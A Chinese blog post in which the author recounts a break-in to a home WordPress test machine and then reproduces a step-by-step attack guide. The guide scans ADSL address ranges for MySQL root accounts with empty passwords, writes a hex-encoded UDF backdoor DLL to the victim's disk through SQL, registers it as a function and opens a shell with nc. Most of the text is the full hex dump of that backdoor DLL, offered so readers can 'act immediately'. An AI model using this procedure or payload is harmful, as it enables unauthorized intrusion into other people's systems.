Mysql弱口令取得系统权限

话说我在自己电脑上搭建了一个wordpress的测试环境,在连续开机6小时之后居然造黑客入侵。当电脑中安装的360安全卫士报警的时候才发现有人正在慢慢潜入我的系统。我第一时间拔掉网线防止进一步入侵,查看系统日志的时候发现在之前几分钟内有多个应用程序错误,程序的名称是sys1.dll路径是c:\windows\system32,这是一般木马释放文件的路径,因为这个文件夹内系统文件很多,对那些对系统不了解的人来说跟不分不清哪些是可疑文件。

用日期来排列文件发现sys1.dll是刚刚创建的,在下面还有一个vbs脚本。打开一看,是个加密的下载者。用nod32杀毒尝试扫描居然一点反映都没有,于是继续分析日志看到底是怎么被入侵的,最终在日志中发现了Mysql的应用错误,判断可能是由于Mysql的漏洞而导致的系统被入侵。

在网上搜索了我用的Mysql版本的相关漏洞资料,没有什么发现,于是搜索关于利用Mysql弱口令取得系统权限的文章,不搜不知道,一搜吓一跳!早在05年的时候就有了。

仔细阅读了几篇,内容几乎相同,估计出自一人之手。从文章中介绍的入侵步骤分析,我打开了phpmyadmin查看数据库果然新建了一个表,而且还注册了一个新的函数,名字就是cmdshell,看到这个就可以确定我的系统就是因为Mysql弱口令而被入侵的了!

以下是引用的文章《由mysql弱口令取得system权限的实战》,我也按照文章中的方法尝试入侵我自己的系统,但是在注册函数的时候报错而没有成功,若哪位牛人看到我这篇文章希望还请多多指教。

测试成功!详见《Mysql弱口令取得系统权限续

1.打开hscan1.2扫描一段ip,我推荐大家扫描adsl所在的ip段,因为这些段ip的主人安全意思差,从而能扫到大量的mysql的root口令为空且有访问mysql默认数据库mysql的权限.
2.在自己的机器上装个mysql for windows.下载地址http://download.pchome.net/internet/server/dbserver/2506.html
3.在幻影论坛下载个my_udf.dll或者mix.dll(我比较偏好my_udf.dll,因为mix.dll会造成mysql假死).
4.运行winhex,打开my_udf.dll,点edit菜单下面的copy all选hex values;打开记事本,点粘贴,这样就把十六进制的my_udf.dll复制进去了!
5.再打开另外个记事本写入如下语句:

use mysql;
set @a=concat('',0x...)
create table Mix(data LONGBLOB);
insert into Mix values("");update Mix set data = @a;
select data from Mix into DUMPFILE 'c:\\my_udf.dll';
CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll';
select my_udfdoor('');

6.把第四步中记事本上的十六进制数据复制出来替换掉第5步中第二行语句中的”…”,并保存到c盘根目录下面,命名为mysql.txt.
7.在本地打开一个dos命令窗口,跳转到mysql安装目录下面,输入mysql -h218.1.1.1 -uroot -p123
(注意,把218.1.1.1,root,123分别替换为你的hscan扫描到的ip,username,password的值.如果password的值为空,则可以不需要参数-p);
8.在第7步中连接成功远程mysql服务器的话,就输入 \. c:\mysql.txt并敲一下回车.如果远程mysql是运行在windows操作系统下的且你扫描到的mysql帐号权限足够高的话,就会成功在远程服务器上装上你的后门.
9.最后用nc来连接此服务器的3306端口,并输入密码fuck,按回车,如果shell没有出来,就多敲几次回车.如果还是不出shell,那就换个目标试一试吧.    下面我贴上我机器上的mysql.txt的内容,方便大家立即行动!不过后门密码不是fuck,我改为ping了.

use mysql;
set @a=concat('',
0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000002BBD33376FDC5D646FDC5D646FDC5D6414C051646EDC5D64ECC053647BDC5D6487C3576459DC5D6436FF4E6468DC5D646FDC5C6423DC5D6487C356646DDC5D6487C359646EDC5D64526963686FDC5D6400000000000000000000000000000000504500004C010400DEB188420000000000000000E0000E210B010600004000000030000000000000B915000000100000005000000000001000100000001000000400000001000000040000000000000000800000001000000000000002000000000010000010000000001000001000000000000010000000D05A000048000000B055000050000000000000000000000000000000000000000000000000000000007000009404000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000500000F00000000000000000000000000000000000000000000000000000002E74657874000000F4350000001000000040000000100000000000000000000000000000200000602E72646174610000180B0000005000000010000000500000000000000000000000000000400000402E64617461000000E00F0000006000000010000000600000000000000000000000000000400000C02E72656C6F6300002A0B0000007000000010000000700000000000000000000000000000400000420000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E8CB020000B834600010C3909090909081EC800400005355568B351450001033DB578D442428538D4C2428508D54241C5152C74424380C000000895C243CC744244001000000FFD68D442428538D4C241C508D5424285152FFD6B91100000033C08D7C243C8B1558600010F3AB8B4424208B0D54600010894424748B4424248944247C89442478894C24348D8424800000008D4C243C50515353538954244C6A01538D542450535253C78424900000000101000066899C2494000000FF15105000108B9C24940400008B2D0C5000108B5424146A008D4424146A00508D8C249C00000068000400005152FF15085000108B54241085D20F84C7000000B90001000033C08DBC249000000050F3AB8D4424148D8C249400000050528B5424205152FFD585C00F842D0100008B4424108B35E05000106A008D8C2494000000505153FFD685C00F8E0D0100008B54241081FA000400000F85CB000000B90001000033C08DBC249000000050F3AB8D4424148D8C249400000050528B5424205152FFD585C00F849D0000008B4424106A008D8C2494000000505153FFD685C00F8E830000006A64FF15205000108B54241081FA0004000074A46A0AFF1520500010E90CFFFFFF6A008D94249400000068000400005253FF150869001085C08944241C76768D4C241C6A0051508B4424248D94249C0000005250FF153C5000106A048D8C2494000000684C600010518BF0E85E2E000083C40C85C0741985F6743A6A64FF15205000106A0AFF1520500010E99DFEFFFFBF3860001083C9FF33C06A00F2AEF7D14951683860001053FF15E050001053FF15E45000105F5E5D33C05B81C480040000C39090909090909090909090908B4424108B4C240C53568B74240C578B7C241450515756FF1508690010685C600010578BD8E8C601000083C40885C074216A046830600010680610000068FFFF000056FF15E850001056E851FDFFFF83C4045F8BC35E5BC2100090909090909081EC14010000535657B93F00000033C08D7C2421C6442420008B1574600010F3AB8B0D706000108954241C66ABAAA16C600010894C24188A0D6860001089442414A164600010884C24108944240CFF15245000108D5424206800010000526A008BF8FF15385000108B1D1C5000108D44240C8D4C24145051FFD350FF15185000108D5424208BF052FFD35068701200108D44241C565057893508690010E80E00000083C4145F5E5B81C414010000C39083EC085657FF15345000108B7C2424894424088D44240C506A016A0157FF15005000108BF085F6750B5FB8010000005E83C408C38B460C85C07422538B5C241C558B2D3050001003C75350FFD585C0740A8B462083C61485C075EC5D5B8B460C85C0750B5FB8020000005E83C408C38B761003F78B0685C074128B4C241C3BC174158B460483C60485C075F25FB8030000005E83C408C38B7C24148D4C2408516A046A045657FF152C50001085C0750B5FB8060000005E83C408C38D54240C8D442420526A04505657FF1528500010F7D81BC05F24FC5E83C00483C408C390908B4C24085753568A118B7C241084D274698A710184F6744F8BF78B4C24148A074638D0741584C0740B8A064638D0740A84C075F55E5B5F33C0C38A064638F075EB8D7EFF8A610284E474288A0683C60238E075C48A410384C074188A66FF83C10238E074DFEBB133C05E5B5F8AC2E9D30100008D47FF5E5B5FC38BC75E5B5FC38B44240883F8010F8588000000FF15445000106A01A324690010E8E80A000085C059743CA12469001033C98A0D2569001025FF000000C12D2469001010A32C690010890D30690010C1E00803C1A328690010E84303000085C07509E8E30A000033C0EB72FF1540500010A3D86F0010E861090000A310690010E841040000E805070000E847060000E8EF010000FF050C690010EB3E33C93BC1752C390D0C6900107EBDFF0D0C690010390D5C6900107505E804020000E8C0050000E82E030000E87E0A0000EB0C83F803750751E84D030000596A0158C20C00558BEC538B5D08568B750C578B7D1085F67509833D0C69001000EB2683FE01740583FE027522A1DC6F001085C07409575653FFD085C0740C575653E8E7FEFFFF85C0750433C0EB4E575653E88F0A000083FE0189450C750C85C07537575053E8C3FEFFFF85F6740583FE037526575653E8B2FEFFFF85C0750321450C837D0C007411A1DC6F001085C07408575653FFD089450C8B450C5F5E5B5DC20C00A11869001083F801740D85C0750E833D1C690010017505E82C0A0000FF742404E85C0A000068FF000000FF15806000105959C3CCCCCCCCCCCCCC8D42FF5BC38DA424000000008D64240033C08A442408538BD8C1E0088B542408F7C20300000074138A0A4238D974D184C97451F7C20300000075ED0BD8578BC3C1E310560BD88B0ABFFFFEFE7E8BC18BF733CB03F003F983F1FF83F0FF33CF33C683C20481E100010181751C250001018174D32500010101750881E60000008075C45E5F5B33C0C38B42FC38D8743684C074EF38DC742784E474E7C1E81038D8741584C074DC38DC740684E474D4EB965E5F8D42FF5BC38D42FE5E5F5BC38D42FD5E5F5BC38D42FC5E5F5BC3A1D46F001085C07402FFD068106000106808600010E8EA00000068046000106800600010E8DB00000083C410C36A006A01FF74240CE81300000083C40CC36A016A006A00E80400000083C40CC357E89F0000006A015F393D606900107511FF742408FF152450001050FF154C500010837C240C00538B5C2414893D5C690010881D58690010753CA1D06F001085C074228B0DCC6F0010568D71FC3BF072138B0685C07402FFD083EE043B35D06F001073ED5E68186000106814600010E84300000059596820600010681C600010E832000000595985DB5B7407E81D0000005FC3FF742408893D60690010FF15485000105FC36A0DE86A0A000059C36A0DE8C20A000059C3568B7424083B74240C730D8B0685C07402FFD083C604EBED5EC356E8AA090000FF155850001083F8FFA390600010743A6A746A01E89C0A00008BF05985F659742956FF3590600010FF155450001085C0741856E83400000059FF1550500010834E04FF6A018906585EC333C05EC3E880090000A19060001083F8FF740E50FF155C500010830D90600010FFC38B442404C7405010620010C7401401000000C3A19060001083F8FF0F8491000000568B74240885F6750D50FF15605000108BF085F6746C8B462485C0740750E8920A0000598B462885C0740750E8840A0000598B463085C0740750E8760A0000598B463885C0740750E8680A0000598B464085C0740750E85A0A0000598B464485C0740750E84C0A0000598B46503D10620010740750E83B0A00005956E8340A0000596A00FF3590600010FF15545000105EC3558BEC83EC485356576880040000E8580A00008BF05985F675086A1BE896FCFFFF598935C06E0010C705C06F0010200000008D86800400003BF0731E80660400830EFF83660800C646050AA1C06E001083C6240580040000EBDE8D45B850FF157050001066837DEA000F84D10000008B45EC85C00F84C60000008B388D58048D043B8945FCB8000800003BF87C028BF8393DC06F00107D56BEC46E00106880040000E8C409000085C059743C8305C06F00102089068D88800400003BC1731C806004008308FF83600800C640050A8B0E83C02481C180040000EBE083C604393DC06F00107CB7EB068B3DC06F001033F685FF7E4C8B45FC8B0883F9FF74388A03A8017432A808750B51FF156C50001085C074238BCE8BC6C1F90583E01F8B0C8DC06E00108D04C08D04818B4DFC8B0989088A0B8848048345FC0446433BF77CB433DB8B0DC06E00108D04DB833C81FF8D3481754D85DBC646048175056AF658EB0A8BC348F7D81BC083C0F550FF15685000108BF883FFFF741757FF156C50001085C0740C25FF000000893E83F8027506804E0440EB0F83F803750A804E0408EB04804E04804383FB037C97FF35C06F0010FF15645000105F5E5BC9C3535657BEC06E00108B0685C074378BF805800400003BF873218D5F0C837BFC00740753FF15745000108B0683C724058004000083C3243BF872E2FF36E8260800008326005983C60481FEC06F00107CB85F5E5BC35333DB391DC86F001056577505E8220E00008B351069001033FF8A063AC374123C3D74014756E8B6090000598D740601EBE88D04BD0400000050E81C0800008BF0593BF389354069001075086A09E854FAFFFF598B3D10690010381F74395557E87C0900008BE85945803F3D742255E8E70700003BC359890675086A09E825FAFFFF5957FF36E8660800005983C6045903FD381F75C95DFF3510690010E87107000059891D10690010891E5F5EC705C46F0010010000005BC3558BEC51515333DB391DC86F001056577505E8640D0000BE6469001068040100005653FF1538500010A1D86F00108935506900108BFE381874028BF88D45F8508D45FC50535357E84D0000008B45F88B4DFC8D048850E8470700008BF083C4183BF375086A08E883F9FFFF598D45F8508D45FC508B45FC8D0486505657E8170000008B45FC83C414488935386900105F5EA3346900105BC9C3558BEC8B4D188B451453568321008B7510578B7D0CC700010000008B450885FF7408893783C704897D0C80382275448A50014080FA22742984D274250FB6D2F682A16D001004740CFF0185F674068A1088164640FF0185F674D58A10881646EBCEFF0185F6740480260046803822754640EB43FF0185F674058A108816468A10400FB6DAF683A16D001004740CFF0185F674058A18881E464080FA20740984D2740980FA0975CC84D2750348EB0885F674048066FF00836518008038000F84E00000008A1080FA20740580FA09750340EBF18038000F84C800000085FF7408893783C704897D0C8B5514FF02C745080100000033DB80385C75044043EBF7803822752CF6C301752533FF397D18740D807801228D500175048BC2EB03897D088B7D0C33D23955180F94C2895518D1EB8BD34B85D2740E4385F67404C6065C46FF014B75F38A1084D2744A837D1800750A80FA20743F80FA09743A837D0800742E85F674190FB6DAF683A16D001004740688164640FF018A10881646EB0F0FB6D2F682A16D001004740340FF01FF0140E958FFFFFF85F6740480260046FF01E917FFFFFF85FF74038327008B45145F5E5BFF005DC35151A1686A001053558B2D88500010565733DB33F633FF3BC37533FFD58BF03BF3740CC705686A001001000000EB28FF15845000108BF83BFB0F84EA000000C705686A001002000000E98F00000083F8010F85810000003BF3750CFFD58BF03BF30F84C200000066391E8BC6740E404066391875F9404066391875F22BC68B3D80500010D1F853534053535056535389442434FFD78BE83BEB743255E8B40400003BC35989442410742353535550FF742424565353FFD785C0750EFF742410E84904000059895C24108B5C241056FF157C5000108BC3EB5383F802754C3BFB750CFF15845000108BF83BFB743C381F8BC7740A40381875FB40381875F62BC7408BE855E84D0400008BF0593BF3750433F6EB0B555756E8300A000083C40C57FF15785000108BC6EB0233C05F5E5D5B5959C333C06A003944240868001000000F94C050FF159050001085C0A3A86E00107415E8290D000085C0750FFF35A86E0010FF158C50001033C0C36A0158C35333DB391D706C0010558B2D985000107E44A1746C001056578B3D945000108D700C68004000006800001000FF36FFD768008000006A00FF36FFD7FF76046A00FF35A86E0010FFD583C614433B1D706C00107CCE5F5EFF35746C00106A00FF35A86E0010FFD5FF35A86E0010FF158C5000105D5BC36A0158C20C00A11869001083F801740D85C0752A833D1C69001001752168FC000000E818000000A16C6A00105985C07402FFD068FF000000E80200000059C3558BEC81ECA40100008B550833C9B8C06000103B10740B83C008413D506100107CF1568BF1C1E6033B96C06000100F851C010000A11869001083F8010F84E800000085C0750D833D1C690010010F84D700000081FAFC0000000F84F10000008D855CFEFFFF6804010000506A00FF153850001085C075138D855CFEFFFF68C853001050E84103000059598D855CFEFFFF57508DBD5CFEFFFFE81C040000405983F83C76298D855CFEFFFF50E8090400008BF88D855CFEFFFF83E83B6A0303F868C453001057E86F14000083C4108D8560FFFFFF68A853001050E8EB0200008D8560FFFFFF5750E8EE0200008D8560FFFFFF68A453001050E8DD020000FFB6C46000108D8560FFFFFF50E8CB02000068102001008D8560FFFFFF687C53001050E88313000083C42C5FEB268D45088DB6C46000106A0050FF36E87C0300005950FF366AF4FF156850001050FF153C5000105EC9C3568B359C500010FF3594610010FFD6FF3584610010FFD6FF3574610010FFD6FF3554610010FFD65EC356578B3D74500010BE506100108B0685C0742B81FE94610010742381FE84610010741B81FE74610010741381FE54610010740B50FFD7FF36E8320100005983C60481FE106200107CC4FF3574610010FFD7FF3584610010FFD7FF3594610010FFD7FF3554610010FFD75F5EC3558BEC8B450856833C8550610010008D348550610010753E576A18E82B0100008BF85985FF75086A11E869F3FFFF596A11E8CAFFFFFF833E005957750AFF159C500010893EEB06E8B7000000596A11E80D000000595FFF36FF15A05000105E5DC3558BEC8B4508FF348550610010FF15A45000105DC353568B74240C570FAF74241483FEE08BDE770D85F675036A015E83C60F83E6F033FF83FEE0773A3B1DA0630010771D6A09E854FFFFFF53E8580D00006A098BF8E8A6FFFFFF83C40C85FF752B566A08FF35A86E0010FF15A85000108BF885FF7522833DE46A001000741956E8C313000085C0597414EBA9536A0057E85B13000083C40C8BC75F5E5BC333C0EBF8568B74240885F6743D6A09E8EDFEFFFF56E89B0900005985C05974135650E8B90900006A09E834FFFFFF83C40C5EC36A09E828FFFFFF59566A00FF35A86E0010FF15985000105EC3FF35E46A0010FF742408E8030000005959C3837C2404E07722FF742404E81C00000085C0597516394424087410FF742404E82813000085C05975DE33C0C3568B7424083B35A06300105777216A09E862FEFFFF56E8660C00006A098BF8E8B4FEFFFF83C40C85FF74048BC7EB1C85F675036A015E83C60F83E6F0566A00FF35A86E0010FF15A85000105F5EC3CCCCCCCCCCCCCCCCCCCC578B7C2408EB6A8DA424000000008BFF8B4C240457F7C103000000740F8A014184C0743BF7C10300000075F18B01BAFFFEFE7E03D083F0FF33C283C104A90001018174E88B41FC84C0742384E4741AA90000FF00740EA9000000FF7402EBCD8D79FFEB0D8D79FEEB088D79FDEB038D79FC8B4C240CF7C10300000074198A114184D27464881747F7C10300000075EEEB05891783C704BAFFFEFE7E8B0103D083F0FF33C28B1183C104A90001018174E184D2743484F67427F7C20000FF007412F7C2000000FF7402EBC789178B4424085FC36689178B442408C64702005FC36689178B4424085FC388178B4424085FC38B4C2404F7C10300000074148A014184C07440F7C10300000075F105000000008B01BAFFFEFE7E03D083F0FF33C283C104A90001018174E88B41FC84C0743284E47424A90000FF007413A9000000FF7402EBCD8D41FF8B4C24042BC1C38D41FE8B4C24042BC1C38D41FD8B4C24042BC1C38D41FC8B4C24042BC1C3558BEC83EC185356576A19E8A4FCFFFFFF7508E8950100008BD8593B1D786C001059895D08750733F6E97001000085DB0F845601000033D2B8A86200103918747483C030423D986300107CF18D45E85053FF15AC5000106A015E3BC60F85210100006A408325A46E0010005933C0BFA06D00103975E8F3ABAA891D786C00100F86EB000000807DEE000F84BC0000008D4DEF8A1184D20F84AF0000000FB641FF0FB6D23BC20F87940000008088A16D00100440EBEE8365FC006A405933C0BFA06D00108D3452F3ABC1E604AA8D9EB8620010803B008BCB742C8A510184D274250FB6010FB6FA3BC777148B55FC8A92A06200100890A16D0010403BC776F5414180390075D4FF45FC83C308837DFC0472C18B4508C7058C6C00100100000050A3786C0010E8CE0000008DB6AC620010BF806C0010A5A559A3A46E0010A5EB5241418079FF000F8547FFFFFF8BC68088A16D001008403DFF00000072F153E89500000059A3A46E001089358C6C0010EB0783258C6C00100033C0BF806C0010ABABABEB0E833DD06A001000740FE899000000E8BD000000E98CFEFFFF83CEFF6A19E870FBFFFF598BC65F5E5BC9C38B4424048325D06A00100083F8FE7510C705D06A001001000000FF25B450001083F8FD7510C705D06A001001000000FF25B050001083F8FC750FA1006B0010C705D06A001001000000C38B4424042DA4030000742283E804741783E80D740C48740333C0C3B804040000C3B812040000C3B804080000C3B811040000C3576A405933C0BFA06D0010F3ABAA33C0BF806C0010A3786C0010A38C6C0010A3A46E0010ABABAB5FC3558BEC81EC140500008D45EC5650FF35786C0010FF15AC50001083F8010F851601000033C0BE00010000888405ECFEFFFF403BC672F48A45F2C685ECFEFFFF2084C0743753578D55F30FB60A0FB6C03BC1771D2BC88DBC05ECFEFFFF41B8202020208BD9C1E902F3AB8BCB83E103F3AA42428A42FF84C075D05F5B6A008D85ECFAFFFFFF35A46E0010FF35786C0010508D85ECFEFFFF56506A01E8D51000006A008D85ECFDFFFFFF35786C001056508D85ECFEFFFF565056FF35A46E0010E8620E00006A008D85ECFCFFFFFF35786C001056508D85ECFEFFFF56506800020000FF35A46E0010E83A0E000083C45C33C08D8DECFAFFFF668B11F6C20174168088A16D0010108A9405ECFDFFFF8890A06C0010EB1CF6C20274108088A16D0010208A9405ECFCFFFFEBE380A0A06C0010004041413BC672BFEB4933C0BE0001000083F841721983F85A77148088A16D0010108AC880C1208888A06C0010EB1F83F861721383F87A770E8088A16D0010208AC880E920EBE080A0A06C001000403BC672BE5EC9C3833DC86F00100075126AFDE818FCFFFF59C705C86F001001000000C3CC558BEC57568B750C8B4D108B7D088BC18BD103C63BFE76083BF80F8278010000F7C7030000007514C1E90283E20383F9087229F3A5FF2495482B00108BC7BA0300000083E904720C83E00303C8FF2485602A0010FF248D582B001090FF248DDC2A001090702A00109C2A0010C02A001023D18A0688078A46018847018A4602C1E90288470283C60383C70383F90872CCF3A5FF2495482B00108D490023D18A0688078A4601C1E90288470183C60283C70283F90872A6F3A5FF2495482B00109023D18A06880746C1E9024783F908728CF3A5FF2495482B00108D49003F2B00102C2B0010242B00101C2B0010142B00100C2B0010042B0010FC2A00108B448EE489448FE48B448EE889448FE88B448EEC89448FEC8B448EF089448FF08B448EF489448FF48B448EF889448FF88B448EFC89448FFC8D048D0000000003F003F8FF2495482B00108BFF582B0010602B00106C2B0010802B00108B45085E5FC9C3908A0688078B45085E5FC9C3908A0688078A46018847018B45085E5FC9C38D49008A0688078A46018847018A46028847028B45085E5FC9C3908D7431FC8D7C39FCF7C7030000007524C1E90283E20383F908720DFDF3A5FCFF2495E02C00108BFFF7D9FF248D902C00108D49008BC7BA0300000083F904720C83E0032BC8FF2485E82B0010FF248DE02C001090F82B0010182C0010402C00108A460323D18847034EC1E9024F83F90872B6FDF3A5FCFF2495E02C00108D49008A460323D18847038A4602C1E90288470283EE0283EF0283F908728CFDF3A5FCFF2495E02C0010908A460323D18847038A46028847028A4601C1E90288470183EE0383EF0383F9080F825AFFFFFFFDF3A5FCFF2495E02C00108D4900942C00109C2C0010A42C0010AC2C0010B42C0010BC2C0010C42C0010D72C00108B448E1C89448F1C8B448E1889448F188B448E1489448F148B448E1089448F108B448E0C89448F0C8B448E0889448F088B448E0489448F048D048D0000000003F003F8FF2495E02C00108BFFF02C0010F82C0010082D00101C2D00108B45085E5FC9C3908A46038847038B45085E5FC9C38D49008A46038847038A46028847028B45085E5FC9C3908A46038847038A46028847028A46018847018B45085E5FC9C368400100006A00FF35A86E0010FF15A850001085C0A3746C00107501C383256C6C0010008325706C0010006A01A3686C0010C705606C00101000000058C3A1706C00108D0C80A1746C00108D0C883BC173148B5424042B500C81FA00001000720783C014EBE833C0C3558BEC83EC148B550C8B4D0853568B41108BF22B710C8B5AFC83C2FC57C1EE0F8BCE8B7AFC69C9040200004B897DFC8D8C0144010000895DF4894DF08B0C13F6C101894DF8757FC1F9046A3F495F894D0C3BCF7603897D0C8B4C13043B4C130875488B4D0C83F920731CBF00000080D3EF8D4C0104F7D7217CB044FE09752B8B4D082139EB2483C1E0BF00000080D3EF8B4D0C8D4C0104F7D721BCB0C4000000FE0975068B4D082179048B4C13088B7C13048979048B4C13048B7C1308035DF8897908895DF48BFBC1FF044F83FF3F76036A3F5F8B4DFC83E101894DEC0F85A00000002B55FC8B4DFCC1F9046A3F8955F8495A3BCA894D0C760589550C8BCA035DFC8BFB895DF4C1FF044F3BFA76028BFA3BCF746B8B4DF88B51043B510875488B4D0C83F920731CBA00000080D3EA8D4C0104F7D22154B044FE09752B8B4D082111EB2483C1E0BA00000080D3EA8B4D0C8D4C0104F7D22194B0C4000000FE0975068B4D082151048B4DF88B51088B4904894A048B4DF88B51048B4908894A088B55F8837DEC007509397D0C0F84890000008B4DF08D0CF98B4904894A048B4DF08D0CF9894A088951048B4A048951088B4A043B4A0875638A4C070483FF20884D0FFEC1884C07047325807D0F00750EBB000000808BCFD3EB8B4D080919BB000000808BCFD3EB8D44B0440918EB29807D0F0075108D4FE0BB00000080D3EB8B4D080959048D4FE0BF00000080D3EF8D84B0C400000009388B5DF48B45F0891A895C13FCFF080F85FA000000A16C6C001085C00F84DF0000008B0D646C00108B3D94500010C1E10F03480CBB0080000068004000005351FFD78B0D646C0010A16C6C0010BA00000080D3EA095008A16C6C00108B0D646C00108B401083A488C400000000A16C6C00108B4010FE4843A16C6C00108B4810807943007509836004FEA16C6C0010837808FF756C536A00FF700CFFD7A16C6C0010FF70106A00FF35A86E0010FF1598500010A1706C00108B15746C00108D0480C1E0028BC8A16C6C00102BC88D4C11EC518D48145150E88F0A00008B450883C40CFF0D706C00103B056C6C0010760383E8148B0D746C0010890D686C0010EB038B4508A36C6C00108935646C00105F5E5BC9C3558BEC83EC14A1706C00108B15746C001053568D0480578D3C828B4508897DFC8D481783E1F0894DF0C1F9044983F9207D0E83CEFFD3EE834DF8FF8975F4EB1083C1E083C8FF33F6D3E88975F48945F8A1686C00108BD83BDF895D0873198B4B048B3B234DF823FE0BCF750B83C3143B5DFC895D0872E73B5DFC75798BDA3BD8895D0873158B4B048B3B234DF823FE0BCF750583C314EBE63BD875593B5DFC7311837B0800750883C314895D08EBED3B5DFC75268BDA3BD8895D08730D837B0800750583C314EBEE3BD8750EE8380200008BD885DB895D08741453E8DA020000598B4B1089018B43108338FF750733C0E90F020000891D686C00108B43108B1083FAFF8955FC74148B8C90C40000008B7C9044234DF823FE0BCF75378B90C40000008B70442355F82375F48365FC008D48440BD68B75F475178B9184000000FF45FC2355F883C1048BFE23390BD774E98B55FC8BCA33FF69C9040200008D8C0144010000894DF48B4C904423CE750D8B8C90C40000006A20234DF85F85C97C05D1E147EBF78B4DF48B54F9048B0A2B4DF08BF1894DF8C1FE044E83FE3F7E036A3F5E3BF70F840D0100008B4A043B4A08756183FF207D2BBB000000808BCFD3EB8B4DFC8D7C3804F7D3895DEC235C8844895C8844FE0F75388B5D088B4DEC210BEB318D4FE0BB00000080D3EB8B4DFC8D7C38048D8C88C4000000F7D32119FE0F895DEC750B8B5D088B4DEC214B04EB038B5D088B4A088B7A04837DF8008979048B4A048B7A088979080F84940000008B4DF48B7CF1048D0CF1897A04894A088951048B4A048951088B4A043B4A0875648A4C060483FE20884D0B7D29FEC1807D0B00884C0604750BBF000000808BCED3EF093BBF000000808BCED3EF8B4DFC097C8844EB2FFEC1807D0B00884C0604750D8D4EE0BF00000080D3EF097B048B4DFC8DBC88C40000008D4EE0BE00000080D3EE09378B4DF885C9740B890A894C11FCEB038B4DF88B75F003D18D4E01890A894C32FC8B75F48B0E85C98D7901893E751A3B1D6C6C001075128B4DFC3B0D646C0010750783256C6C0010008B4DFC89088D42045F5E5BC9C3A1706C00108B0D606C0010565733FF3BC175308D448950C1